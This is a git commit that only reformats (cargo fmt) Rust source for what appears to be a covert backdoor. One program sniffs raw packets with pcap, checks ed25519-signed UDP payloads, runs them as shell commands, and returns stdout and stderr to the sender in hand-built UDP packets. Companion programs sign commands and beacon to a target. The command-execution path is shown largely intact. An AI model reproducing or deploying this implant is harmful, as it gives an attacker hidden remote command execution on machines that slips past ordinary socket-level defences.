chore: run cargo fmt

This commit is contained in:
Andrew Rioux
2023-05-04 00:47:20 -04:00
parent 798eda764f
commit 978d7cb089
14 changed files with 317 additions and 269 deletions

View File

@@ -1,12 +1,12 @@
use std::process::Stdio;
use std::{sync::Arc, ffi::OsStr};
use std::os::unix::ffi::OsStrExt;
use std::process::Stdio;
use std::{ffi::OsStr, sync::Arc};
use tokio::{self, sync::mpsc, process, io::AsyncReadExt};
use tokio_stream::StreamExt;
use anyhow::{anyhow, bail, Context};
use ed25519_dalek::{PublicKey, Signature, Verifier};
use pcap_sys::{self, packets::EthernetPacket};
use anyhow::{Context, anyhow, bail};
use ed25519_dalek::{PublicKey, Verifier, Signature};
use tokio::{self, io::AsyncReadExt, process, sync::mpsc};
use tokio_stream::StreamExt;
const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
@@ -14,7 +14,8 @@ const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
async fn main() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new().init()?;
let pubkey = Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
let pubkey =
Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
log::info!("Pubkey is good");
@@ -41,7 +42,7 @@ async fn main() -> anyhow::Result<()> {
enum EventType {
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
Send(EthernetPacket)
Send(EthernetPacket),
}
let mut packets = interface.stream()?;
@@ -57,7 +58,8 @@ async fn main() -> anyhow::Result<()> {
let packet_sender_clone = packet_sender.clone();
let pubkey_clone = pubkey.clone();
tokio::spawn(async move {
if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await {
if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await
{
log::warn!("Error handling packet: {e}");
}
});
@@ -75,7 +77,7 @@ async fn main() -> anyhow::Result<()> {
async fn handle_command(
pubkey: Arc<PublicKey>,
eth: EthernetPacket,
send_response: mpsc::Sender<EthernetPacket>
send_response: mpsc::Sender<EthernetPacket>,
) -> anyhow::Result<()> {
use pcap_sys::packets::*;
let eth_pkt = eth.pkt();
@@ -96,7 +98,9 @@ async fn handle_command(
let cmd = &data[64..];
pubkey.verify(cmd, &signature).context("message provided was unauthenticated")?;
pubkey
.verify(cmd, &signature)
.context("message provided was unauthenticated")?;
let cmd = OsStr::from_bytes(cmd);
@@ -110,12 +114,16 @@ async fn handle_command(
.stderr(Stdio::piped())
.spawn()?;
let mut stdout = child.stdout.ok_or(anyhow!("could not get child process stdout"))?;
let mut stderr = child.stderr.ok_or(anyhow!("could not get child process stdout"))?;
let mut stdout = child
.stdout
.ok_or(anyhow!("could not get child process stdout"))?;
let mut stderr = child
.stderr
.ok_or(anyhow!("could not get child process stdout"))?;
enum Output {
Out,
Err
Err,
}
let mut stdout_buffer = [0u8; 1024];
@@ -133,17 +141,25 @@ async fn handle_command(
let msg = &match out_type {
Output::Err => stderr_buffer,
Output::Out => stdout_buffer
Output::Out => stdout_buffer,
}[..len];
let port = match out_type {
Output::Err => 54249,
Output::Out => 54248
Output::Out => 54248,
};
let udp_packet = UDPPacket::construct(54248, port, msg);
let ip_packet = IPv4Packet::construct(ip_pkt.dest_ip(), ip_pkt.source_ip(), &Layer4Packet::UDP(udp_packet));
let eth_packet = EthernetPacket::construct(*eth_pkt.destination_address(), *eth_pkt.source_address(), &Layer3Packet::IPv4(ip_packet));
let ip_packet = IPv4Packet::construct(
ip_pkt.dest_ip(),
ip_pkt.source_ip(),
&Layer4Packet::UDP(udp_packet),
);
let eth_packet = EthernetPacket::construct(
*eth_pkt.destination_address(),
*eth_pkt.source_address(),
&Layer3Packet::IPv4(ip_packet),
);
if let Err(e) = send_response.send(eth_packet).await {
log::warn!("Could not send response packet: {e:?}");
}
@@ -152,4 +168,4 @@ async fn handle_command(
log::info!("Done executing command {cmd:?}");
Ok(())
}
}

View File

@@ -1,7 +1,7 @@
use std::{io::prelude::*, net::UdpSocket, thread};
use ed25519_dalek::{Keypair, Signer};
use anyhow::{anyhow, Context};
use ed25519_dalek::{Keypair, Signer};
const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
const PRIVKEY: &[u8] = include_bytes!("../../key-generator/privkey");

View File

@@ -1,7 +1,7 @@
use std::{io::prelude::*, net::Ipv4Addr, collections::HashMap};
use std::{collections::HashMap, io::prelude::*, net::Ipv4Addr};
use anyhow::anyhow;
use tokio::time::{Duration, interval};
use tokio::time::{interval, Duration};
use tokio_stream::StreamExt;
use nl_sys::{netlink, route};
@@ -26,15 +26,17 @@ async fn main() -> anyhow::Result<()> {
let addrs = socket.get_addrs()?;
routes_inner.sort_by(|r1, r2| {
r2.dst().map(|a| a.cidrlen())
r2.dst()
.map(|a| a.cidrlen())
.partial_cmp(&r1.dst().map(|a| a.cidrlen()))
.unwrap_or(std::cmp::Ordering::Equal)
});
let (ifname, srcip, srcmac, dstmac) = route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, target)
.ok_or(anyhow!("unable to find a route to the IP"))?;
let (ifname, srcip, srcmac, dstmac) =
route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, target)
.ok_or(anyhow!("unable to find a route to the IP"))?;
( ifname, srcmac, dstmac, srcip )
(ifname, srcmac, dstmac, srcip)
};
let mut interface = pcap_sys::new_aggregate_interface(false)?;
@@ -43,7 +45,7 @@ async fn main() -> anyhow::Result<()> {
interface.set_non_blocking(true)?;
interface.set_promisc(false)?;
interface.set_timeout(10)?;
let mut interface = interface.activate()?;
interface.set_filter("inbound and udp port 54248", true, None)?;
@@ -52,7 +54,7 @@ async fn main() -> anyhow::Result<()> {
enum EventType {
Packet((String, Result<EthernetPacket, pcap_sys::error::Error>)),
Update
Update,
}
let mut packets = interface.stream()?;
@@ -86,9 +88,12 @@ async fn main() -> anyhow::Result<()> {
current_packet_id += 1;
sent_updates.insert(current_packet_id, false);
let udp_packet = UDPPacket::construct(54248, 54248, current_packet_id.to_be_bytes().to_vec());
let ip_packet = IPv4Packet::construct(srcip, target, &Layer4Packet::UDP(udp_packet));
let eth_packet = EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ip_packet));
let udp_packet =
UDPPacket::construct(54248, 54248, current_packet_id.to_be_bytes().to_vec());
let ip_packet =
IPv4Packet::construct(srcip, target, &Layer4Packet::UDP(udp_packet));
let eth_packet =
EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ip_packet));
packets.sendpacket(&ifname, eth_packet.pkt())?;
}